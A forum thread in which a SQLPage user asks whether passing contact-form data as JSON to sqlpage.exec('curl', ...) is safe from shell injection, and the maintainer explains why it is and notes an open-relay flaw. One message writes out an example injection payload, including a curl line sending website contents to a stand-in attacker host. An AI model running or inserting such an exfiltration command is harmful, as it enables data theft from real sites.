Dynamic (and secure) curl requests via sqlpage.exec()?

[matthewlarkin]

Hi SQLPagers,

I'm looking for a secure way to pass dynamic content to the sqlpage.exec() function, especially in regards to making dynamic curl requests. For instance, email sending: how to safely pass dynamic content, like name, email, message from a contact form.

What I'm thinking so far is to create a $data variable using the json_object function and then pass that to the sqlpage.exec() function -- presumably this forces it to indeed be valid (and thus safe?) JSON 🤔

For instance, here's a contact form endpoint that expects posted form values and passes them to the Postmark email service via curl request.

/api/email.sql

set token_header = 'X-Postmark-Server-Token: ' || sqlpage.environment_variable('postmark_token');

set data = json_object(
    "To", "[email protected]",
    "Subject", "New Inquiry: " || :subject,
    "From", "[email protected]",
    "ReplyTo", :email,
    "TextBody", :message,
    "HtmlBody", :message,
    "MessageStream", "outbound"
);

set response = sqlpage.exec('curl',
    'https://api.postmarkapp.com/email',
    '-H', $token_header,
    '--json', $data
);

select 'json' as component,
    $response as contents;

---

@lovasoa: would you say this is a good approach? If not, I wonder if it's feasible to construct a sqlpage.curl() or sqlpage.fetch() function internally to handle this more securely.

Dynamic curl requests would open many doors 🙂

[lovasoa]

I'm not sure what your requirements are and what you mean by secure: what is the user expected to be able to do and what should they not be able to do?

In the snippet you shared, the user can send any email to any address they want, which I would usually qualify as a vulnerability, but it seems that it's on purpose. Is it?

You mention it being a "contact form". If it's a contact form, then the destination address should be hardcoded (or come from an environment variable), shouldn't it ?

If the question was about a malicious user being able to add or remove fields to the json object, or otherwise manipulate the request body, then that's not a problem. json_object('x', :whatever) will always result in a valid json object with a single field named "x" of type text that will contain the exact contents of the POST variable "whatever".

[matthewlarkin]

Oh sorry @lovasoa, I pasted the wrong example 🤦‍♂️ (yes, that was supposed to be an inbound contact form, not outbound to anyone).

Regarding secure, I mean secure against shell injection attacks. I imagine that, since we're only passing valid JSON to the curl command, we should be safe from users trying to break out of the curl command and inject malicious shell commands. Something along these lines:

curl -d '{{dynamic json as planned but then something malicious happens}}"}';
curl https://attacker-server.com -d {{website contents}};
echo "I've stolen your website contents 👻" > theft.txt;

I imagine if something along these lines were attempted (in the context of my earlier example), the curl command would simply observe invalid JSON, exit with an error, and then SQLPage would raise an error.

Would you say that's a fair assumption?

[lovasoa]

Yes, that's a fair assumption. Your previous example is not only guaranteed not to call anything other than curl, but also to pass only valid json to it. It is safe from shell injection.

Even sqlpage.exec('curl', $attacker_controlled) would be safe from shell injection (in that it would execute nothing other than curl with a single argument, whatever the attacker does).

As a general rule of thumb, the first argument to sqlpage.exec should always be hardcoded to a known safe program. It is in your case.

The only security issue I see in your example, as I said, is the lack of validation of the destination address (and maybe the subject line).

[lovasoa]

To know whether a given command, or given arguments to a command are safe, an interesting reference is: https://gtfobins.github.io/

[matthewlarkin]

That's great to hear, and thank you for taking the care to illuminate a bit more how the exec function works under the hood. It is indeed reassuring to know that the hardcoded program parameter will be the only thing to run, even if something unexpected happens at the tail end of the function (still should aim to avoid that of course).

And yes, I was really just trying to keep the example simple, and I do appreciate your pointing out the sender and subject validation thoughts.

Thanks again! 🙏 🙏

[lovasoa]

🎉

You can do that natively, faster, and more securely in sqlpage without curl as of v0.20.3.

https://sql.ophir.dev/functions.sql?function=fetch#function

[matthewlarkin]

Yes!! Nice work @lovasoa! 🎉